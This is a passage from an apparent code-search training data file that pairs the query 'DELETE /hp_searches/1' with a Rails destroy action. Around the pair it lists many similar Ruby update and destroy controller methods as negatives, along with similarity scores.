args.key?(:safe_search)\n @spell_correction_spec = args[:spell_correction_spec] if args.key?(:spell_correction_spec)\n @user_info = args[:user_info] if args.key?(:user_info)\n @user_labels = args[:user_labels] if args.key?(:user_labels)\n @user_pseudo_id = args[:user_pseudo_id] if args.key?(:user_pseudo_id)\n end", "def update\n respond_to do |format|\n if @live_search.update(live_search_params)\n format.html { redirect_to @live_search}\n format.json { render :show, status: :ok, location: @live_search }\n else\n format.html { render :edit }\n format.json { render json: @live_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @search = Search.find(params[:id])\n\n respond_to do |format|\n if @search.update_attributes(params[:search])\n format.html { redirect_to(@search, :notice => 'Search was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @search.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @route_search.update(route_search_params)\n format.html { redirect_to @route_search, notice: 'Route search was successfully updated.' }\n format.json { render :show, status: :ok, location: @route_search }\n else\n format.html { render :edit }\n format.json { render json: @route_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @suggest_results = args[:suggest_results] if args.key?(:suggest_results)\n end", "def update!(**args)\n @suggest_results = args[:suggest_results] if args.key?(:suggest_results)\n end", "def update\n @shelter = Shelter.find(params[:id])\n\n if @shelter.update(shelter_params)\n head :no_content\n else\n render json: @shelter.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @search_keyword.update(search_keyword_params)\n format.html { redirect_to @search_keyword, notice: 'Search keyword was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @search_keyword.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @knowledge_base_name = args[:knowledge_base_name] if args.key?(:knowledge_base_name)\n @max_results = args[:max_results] if args.key?(:max_results)\n end", "def update!(**args)\n @applied_commute_filter = args[:applied_commute_filter] if args.key?(:applied_commute_filter)\n @applied_job_location_filters = args[:applied_job_location_filters] if args.key?(:applied_job_location_filters)\n @estimated_total_size = args[:estimated_total_size] if args.key?(:estimated_total_size)\n @histogram_results = args[:histogram_results] if args.key?(:histogram_results)\n @job_view = args[:job_view] if args.key?(:job_view)\n @matching_jobs = args[:matching_jobs] if args.key?(:matching_jobs)\n @metadata = args[:metadata] if args.key?(:metadata)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @num_jobs_from_broadened_query = args[:num_jobs_from_broadened_query] if args.key?(:num_jobs_from_broadened_query)\n @spell_result = args[:spell_result] if args.key?(:spell_result)\n @total_size = args[:total_size] if args.key?(:total_size)\n end", "def update!(**args)\n @applied_commute_filter = args[:applied_commute_filter] if args.key?(:applied_commute_filter)\n @applied_job_location_filters = args[:applied_job_location_filters] if args.key?(:applied_job_location_filters)\n @estimated_total_size = args[:estimated_total_size] if args.key?(:estimated_total_size)\n @histogram_results = args[:histogram_results] if args.key?(:histogram_results)\n @job_view = args[:job_view] if args.key?(:job_view)\n @matching_jobs = args[:matching_jobs] if args.key?(:matching_jobs)\n @metadata = args[:metadata] if args.key?(:metadata)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @num_jobs_from_broadened_query = args[:num_jobs_from_broadened_query] if args.key?(:num_jobs_from_broadened_query)\n @spell_result = args[:spell_result] if args.key?(:spell_result)\n @total_size = args[:total_size] if args.key?(:total_size)\n end", "def update\n @search_item = SearchItem.find(params[:id])\n\n respond_to do |format|\n if @search_item.update_attributes(params[:search_item])\n format.html { redirect_to @search_item, notice: 'Search item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @search_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end", "def update\n respond_to do |format|\n if @title.update(title_params)\n format.html { redirect_to titles_url(search: @title.title), notice: 'Title was successfully updated.' }\n format.json { render :show, status: :ok, location: @title }\n else\n format.html { render :edit }\n format.json { render json: @title.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n streak, success = jsonapi_update.to_a\n\n if success\n render_jsonapi(streak, scope: false)\n else\n render_errors_for(streak)\n end\n end", "def update attrs\n put '', :body => {self.class.api_name => self.class.opts_to_query_opts(attrs)}\n end", "def update\n put :update\n end", "def update!(**args)\n @conversation = args[:conversation] if args.key?(:conversation)\n @query = args[:query] if args.key?(:query)\n @safe_search = args[:safe_search] if args.key?(:safe_search)\n @serving_config = args[:serving_config] if args.key?(:serving_config)\n @user_labels = args[:user_labels] if args.key?(:user_labels)\n end", "def update\n respond_to do |format|\n if @research.update(research_params)\n format.html { redirect_to researches_url, notice: t('.success', default: 'Research was successfully updated.') }\n format.json { render :show, status: :ok, location: @research }\n else\n format.html { render :edit }\n format.json { render json: @research.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n head :ok\n end", "def update\n respond_to do |format|\n if @hit.update(hit_params)\n format.html { redirect_to @hit, notice: 'Batida atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @hit }\n else\n format.html { render :edit }\n format.json { render json: @hit.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end", "def update\n team_name = params[:name]\n team_description = params[:description]\n team_id = params[:id]\n\n respond_to do |format|\n if OkrTeam.where(id: team_id).update_all(name: team_name, description: team_description)\n format.json { render json: 'Team is updated successfully!', status: :ok }\n else\n format.json { render json: 'Error!', status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ingredient_suggestion.update(ingredient_suggestion_params)\n format.html { redirect_to @ingredient_suggestion, notice: 'Ingredient suggestion was successfully updated.' }\n format.json do\n render :nothing => true, :status => 200\n # render :show, status: :ok, location: @ingredient_suggestion\n end\n else\n format.html { render :edit }\n format.json { render json: @ingredient_suggestion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @post.update(search_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @query_suggestions = args[:query_suggestions] if args.key?(:query_suggestions)\n @tail_match_triggered = args[:tail_match_triggered] if args.key?(:tail_match_triggered)\n end", "def update!(**args)\n @confidence_score = args[:confidence_score] if args.key?(:confidence_score)\n @metadata = args[:metadata] if args.key?(:metadata)\n @query_record = args[:query_record] if args.key?(:query_record)\n @suggestion = args[:suggestion] if args.key?(:suggestion)\n end", "def update!(**args)\n @confidence_score = args[:confidence_score] if args.key?(:confidence_score)\n @metadata = args[:metadata] if args.key?(:metadata)\n @query_record = args[:query_record] if args.key?(:query_record)\n @suggestion = args[:suggestion] if args.key?(:suggestion)\n end", "def update\n @searchstatus = Searchstatus.find(params[:id])\n\n respond_to do |format|\n if @searchstatus.update_attributes(params[:searchstatus])\n format.html { redirect_to @searchstatus, notice: 'Search status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @searchstatus.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @disable_relevance_thresholding = args[:disable_relevance_thresholding] if args.key?(:disable_relevance_thresholding)\n @enable_broadening = args[:enable_broadening] if args.key?(:enable_broadening)\n @enable_precise_result_size = args[:enable_precise_result_size] if args.key?(:enable_precise_result_size)\n @filters = args[:filters] if args.key?(:filters)\n @histogram_facets = args[:histogram_facets] if args.key?(:histogram_facets)\n @job_view = args[:job_view] if args.key?(:job_view)\n @mode = args[:mode] if args.key?(:mode)\n @offset = args[:offset] if args.key?(:offset)\n @order_by = args[:order_by] if args.key?(:order_by)\n @page_size = args[:page_size] if args.key?(:page_size)\n @page_token = args[:page_token] if args.key?(:page_token)\n @query = args[:query] if args.key?(:query)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n @sort_by = args[:sort_by] if args.key?(:sort_by)\n end", "def update!(**args)\n @disable_relevance_thresholding = args[:disable_relevance_thresholding] if args.key?(:disable_relevance_thresholding)\n @enable_broadening = args[:enable_broadening] if args.key?(:enable_broadening)\n @enable_precise_result_size = args[:enable_precise_result_size] if args.key?(:enable_precise_result_size)\n @filters = args[:filters] if args.key?(:filters)\n @histogram_facets = args[:histogram_facets] if args.key?(:histogram_facets)\n @job_view = args[:job_view] if args.key?(:job_view)\n @mode = args[:mode] if args.key?(:mode)\n @offset = args[:offset] if args.key?(:offset)\n @order_by = args[:order_by] if args.key?(:order_by)\n @page_size = args[:page_size] if args.key?(:page_size)\n @page_token = args[:page_token] if args.key?(:page_token)\n @query = args[:query] if args.key?(:query)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n @sort_by = args[:sort_by] if args.key?(:sort_by)\n end", "def update\n redirect_to action: 'new' and return\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @status.update(isshared: params[:isshared])\n format.json { head :no_content }\n else\n format.json {\n render json: @status.errors,\n status: :unprocessable_entity\n }\n end\n end\n end", "def update\n if @spice.update(spice_params)\n head :no_content\n else\n render json: @spice.errors, status: :unprocessable_entity\n end\n end", "def update\n @seo_search_term = Seo::SearchTerm.find(params[:id])\n\n respond_to do |format|\n if @seo_search_term.update_attributes(params[:seo_search_term])\n flash[:notice] = 'Seo::SearchTerm was successfully updated.'\n format.html { redirect_to seo_search_terms_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @seo_search_term.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @num_results = args[:num_results] if args.key?(:num_results)\n @num_suggestions = args[:num_suggestions] if args.key?(:num_suggestions)\n end", "def update!(**args)\n @num_results = args[:num_results] if args.key?(:num_results)\n @num_suggestions = args[:num_suggestions] if args.key?(:num_suggestions)\n end", "def update\n render_json_auto @survey.update_filter(params[:id].to_i, params[:filter]) and return\n end", "def update!(**args)\n @document = args[:document] if args.key?(:document)\n @qa_result = args[:qa_result] if args.key?(:qa_result)\n @search_text_snippet = args[:search_text_snippet] if args.key?(:search_text_snippet)\n end", "def update\n respond_to do |format|\n if @knowledge.update(knowledge_params)\n format.html { redirect_to knowledges_path, notice: 'Knowledge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @knowledge.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ipsearch = Ipsearch.find(params[:id])\n\n respond_to do |format|\n if @ipsearch.update_attributes(params[:ipsearch])\n format.html { redirect_to(@ipsearch, :notice => 'Ipsearch was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ipsearch.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n # respond_to do |format|\n # if @score_query.update(score_query_params)\n # format.html { redirect_to [:phone, @score_query], notice: 'Score query was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: 'edit' }\n # format.json { render json: @score_query.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def update\n # respond_to do |format|\n # if @score_query.update(score_query_params)\n # format.html { redirect_to [:phone, @score_query], notice: 'Score query was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: 'edit' }\n # format.json { render json: @score_query.errors, status: :unprocessable_entity }\n # end\n # end\n end" ]
[ "0.64139813", "0.6264316", "0.6264315", "0.6244814", "0.6235557", "0.61979836", "0.6161067", "0.6154005", "0.6151688", "0.6132266", "0.61019284", "0.61019284", "0.61019284", "0.61019284", "0.60997224", "0.60997224", "0.60997224", "0.6085722", "0.6074767", "0.6025214", "0.5983039", "0.59449404", "0.59327585", "0.59327585", "0.5930051", "0.59247154", "0.59247154", "0.5908933", "0.5906739", "0.5899998", "0.5896998", "0.58966434", "0.58947015", "0.5888378", "0.5888378", "0.5888378", "0.5888378", "0.5888378", "0.5888378", "0.5888378", "0.5888378", "0.5887228", "0.588062", "0.58725584", "0.585233", "0.585233", "0.5835025", "0.58262724", "0.58239895", "0.5814004", "0.58134335", "0.58122206", "0.58012915", "0.57928467", "0.57914484", "0.57801414", "0.57762164", "0.5775391", "0.5772238", "0.5751595", "0.57475245", "0.57454896", "0.57454896", "0.5740355", "0.5740348", "0.57170284", "0.5712466", "0.5712466", "0.5712093", "0.57111645", "0.5707121", "0.5705082", "0.56999195", "0.56979835", "0.5691736", "0.56879354", "0.5686296", "0.56845105", "0.5681187", "0.56769735", "0.5672889", "0.56714076", "0.5671053", "0.5666771", "0.5666771", "0.566606", "0.56633556", "0.56633556", "0.5656604", "0.56551784", "0.56499195", "0.5642544", "0.56414497", "0.56414497", "0.563746", "0.56329477", "0.562782", "0.5617092", "0.5615884", "0.5615884" ]
0.67113817
0
DELETE /hp_searches/1 DELETE /hp_searches/1.json
def destroy @hp_search.destroy respond_to do |format| format.html { redirect_to hp_searches_url, notice: 'Hp search was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @advance_search.destroy\n respond_to do |format|\n format.html { redirect_to advance_searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @saved_search = SavedSearch.find(params[:id])\n @saved_search.destroy\n\n respond_to do |format|\n format.html { redirect_to saved_searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @saved_search = SavedSearch.find(params[:id])\n @saved_search.destroy\n\n respond_to do |format|\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end", "def destroy\n @live_search.destroy\n respond_to do |format|\n format.html { redirect_to live_searches_url}\n format.json { head :no_content }\n end\n end", "def destroy\n @home_search = Home::Search.find(params[:id])\n @home_search.destroy\n\n respond_to do |format|\n format.html { redirect_to home_searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n #@search = Search.find(params[:id])\n #@search.destroy\n #\n #respond_to do |format|\n # format.html { redirect_to searches_url }\n # format.json { head :ok }\n #end\n end", "def destroy\n @leaf_spot_imm_search.destroy\n respond_to do |format|\n format.html { redirect_to leaf_spot_imm_searches_url, notice: 'Leaf spot imm search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'La ricerca è stata eliminata.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @person_search = PersonSearch.find(params[:id])\n @person_search.destroy\n\n respond_to do |format|\n format.html { redirect_to person_searches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @namesearch = Namesearch.find(params[:id])\n @namesearch.destroy\n\n respond_to do |format|\n format.html { redirect_to namesearches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @searched.destroy\n respond_to do |format|\n format.html { redirect_to searcheds_url, notice: 'Searched was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @url_search = UrlSearch.find(params[:id])\n @url_search.destroy\n\n respond_to do |format|\n format.html { redirect_to(url_searches_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @search_query.destroy\n respond_to do |format|\n format.html { redirect_to search_queries_url, notice: 'Search query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @route_search.destroy\n respond_to do |format|\n format.html { redirect_to route_searches_url, notice: 'Route search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @saved_search.destroy\n respond_to do |format|\n redirect_path = params[:redirect_to] || root_path\n format.html { redirect_to redirect_path, notice: t('ransack.saved_search.delete.success') }\n format.json { head :no_content }\n end\n end", "def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to(searches_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @research = Research.find(params[:id])\n @research.destroy\n\n respond_to do |format|\n format.html { redirect_to researches_url }\n format.json { head :ok }\n end\n end", "def destroy\n @hospital_suggestion = HospitalSuggestion.find(params[:id])\n @hospital_suggestion.destroy\n\n respond_to do |format|\n format.html { redirect_to hospital_suggestions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tagsearch = Tagsearch.find(params[:id])\n @tagsearch.destroy\n\n respond_to do |format|\n format.html { redirect_to tagsearches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @preset_search.destroy\n respond_to do |format|\n format.html { redirect_to preset_searches_url, notice: 'Stored search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @search_keyword.destroy\n respond_to do |format|\n format.html { redirect_to search_keywords_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @hit.destroy\n flash[:notice] = 'Batida apagada com sucesso.'\n else\n flash[:error] = @hit.errors[:base].to_sentence\n end\n respond_to do |format|\n format.html { redirect_to hits_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rh.destroy\n respond_to do |format|\n format.html { redirect_to rhs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search_google.destroy\n respond_to do |format|\n format.html { redirect_to search_googles_url, notice: 'Search google was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @searchstatus = Searchstatus.find(params[:id])\n @searchstatus.destroy\n\n respond_to do |format|\n format.html { redirect_to searchstatuses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hit = Hit.find(params[:id])\n @hit.reactions.destroy_all\n @hit.destroy\n\n respond_to do |format|\n format.html { redirect_to hits_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @urlshortner.destroy\n respond_to do |format|\n format.html { redirect_to urlshortners_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @grep_multi.destroy\n respond_to do |format|\n format.html { redirect_to grep_multis_url, notice: 'Grep multi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @jobsearch = Jobsearch.find(params[:id])\n @jobsearch.destroy\n\n respond_to do |format|\n format.html { redirect_to jobsearches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hjump2.destroy\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path, notice: 'Eliminado exitosamente' ) }\n format.json { head :no_content }\n end\n end", "def destroy\n @search_item = SearchItem.find(params[:id])\n @search_item.destroy\n\n respond_to do |format|\n format.html { redirect_to search_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search_phrase = SearchPhrase.find(params[:id])\n @search_phrase.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_search_phrases_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @hk.destroy\n respond_to do |format|\n format.html { redirect_to hks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @harvesting = Harvesting.find(params[:id])\n @harvesting.destroy\n\n respond_to do |format|\n format.html { redirect_to harvestings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search_theatre.destroy\n respond_to do |format|\n format.html { redirect_to search_theatres_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @type_search.destroy\n respond_to do |format|\n format.html { redirect_to type_searches_url, notice: 'Type search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @home_indices_ad = Home::Indices::Ad.find(params[:id])\n @home_indices_ad.destroy\n\n respond_to do |format|\n format.html { redirect_to home_indices_ads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search_site.destroy\n respond_to do |format|\n format.html { redirect_to search_sites_url, notice: 'Search site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def delete_by_query index, query, conflicts_proceed\n conflicts = conflicts_proceed ? 'conflicts=proceed' : ''\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/_delete_by_query?#{conflicts}\")\n\n req = Net::HTTP::Post.new(uri)\n req.body = query.to_json\n run(uri, req)\n end", "def destroy\n @saved_query.destroy\n respond_to do |format|\n format.html { redirect_to saved_queries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @boutique_search.destroy\n respond_to do |format|\n format.html { redirect_to boutique_searches_url, notice: 'Boutique search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @htc.destroy\n respond_to do |format|\n format.html { redirect_to htcs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search_history.destroy\n respond_to do |format|\n format.html { redirect_to search_histories_url, notice: 'Search history was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @fragrance_search.destroy\n respond_to do |format|\n format.html { redirect_to fragrance_searches_url, notice: 'Fragrance search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @ipsearch = Ipsearch.find(params[:id])\n @ipsearch.destroy\n\n respond_to do |format|\n format.html { redirect_to(ipsearches_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @address_search.destroy\n respond_to do |format|\n format.html { redirect_to address_searches_url, notice: 'Address search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\n @search_for.destroy\n respond_to do |format|\n format.html { redirect_to search_fors_url, notice: \"Search for was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def destroy\n @task_search.destroy\n respond_to do |format|\n format.html { redirect_to task_searches_url, notice: 'Task search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @searchterm.destroy\n respond_to do |format|\n format.html { redirect_to searchterms_url, notice: 'Searchterm was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n api_client.delete(url)\n end", "def destroy\n @hood.destroy\n respond_to do |format|\n format.html { redirect_to hoods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @url_shortner.destroy\n respond_to do |format|\n format.html { redirect_to url_shortners_url, notice: 'Url shortner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @deal_search_word.destroy\n respond_to do |format|\n format.html { redirect_to deal_search_words_url, notice: 'Deal search word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end", "def destroy\n @suggest.destroy\n respond_to do |format|\n format.html { redirect_to suggests_url, notice: 'Suggest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @search_line.destroy\n respond_to do |format|\n format.html { redirect_to search_lines_url, notice: 'Search line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @word_count = WordCount.find(params[:id])\n @word_count.destroy\n\n respond_to do |format|\n format.html { redirect_to word_counts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @url = ShortenedUrl.find(params[:id])\n @url.destroy\n\n respond_to do |format|\n format.html { redirect_to shortened_url_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @highscore.destroy\n respond_to do |format|\n format.html { redirect_to highscores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_search.destroy\n respond_to do |format|\n format.html { redirect_to user_searches_url, notice: 'User search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n @client.post({\n 'action' => 'del',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n end", "def destroy\n @sport_keyword.destroy\n respond_to do |format|\n format.html { redirect_to sport_keywords_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hive = Hive.find(params[:id])\n @hive.destroy\n\n respond_to do |format|\n format.html { redirect_to hives_url }\n format.json { head :no_content }\n end\n end", "def delete(_url)\n # do nothing since we can't find the key by url\n end", "def delete\n render json: Like.delete(params[\"id\"])\n end", "def destroy\n @game_title.destroy\n respond_to do |format|\n format.html { redirect_to game_titles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @serach_word = SerachWord.find(params[:id])\n @serach_word.destroy\n\n respond_to do |format|\n format.html { redirect_to serach_words_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @research.destroy\n respond_to do |format|\n format.html { redirect_to researches_url, notice: t('.success', default: 'Research was successfully destroyed.') }\n format.json { head :no_content }\n end\n end", "def destroy\n @search_count.destroy\n respond_to do |format|\n format.html { redirect_to search_counts_url, notice: 'Search count was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n render_json_auto @survey.delete_filter(params[:id].to_i) and return\n end", "def destroy\n @book_search.destroy\n respond_to do |format|\n format.html { redirect_to book_searches_url, notice: 'Book search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @usersearch.destroy\n respond_to do |format|\n format.html { redirect_to usersearch_url, notice: 'Usersearch was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by_id(params[:pathway_id])\n suggested_pathway.destroy\n render json: suggested_pathway\n end", "def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @bracket_golfer.destroy\n respond_to do |format|\n format.html { redirect_to bracket_golfers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @knowledge.destroy\n respond_to do |format|\n format.html { redirect_to knowledges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @search_list = SearchList.find(params[:id])\n @search_list.destroy\n\n respond_to do |format|\n format.html { redirect_to search_lists_url }\n format.json { head :no_content }\n end\n end" ]
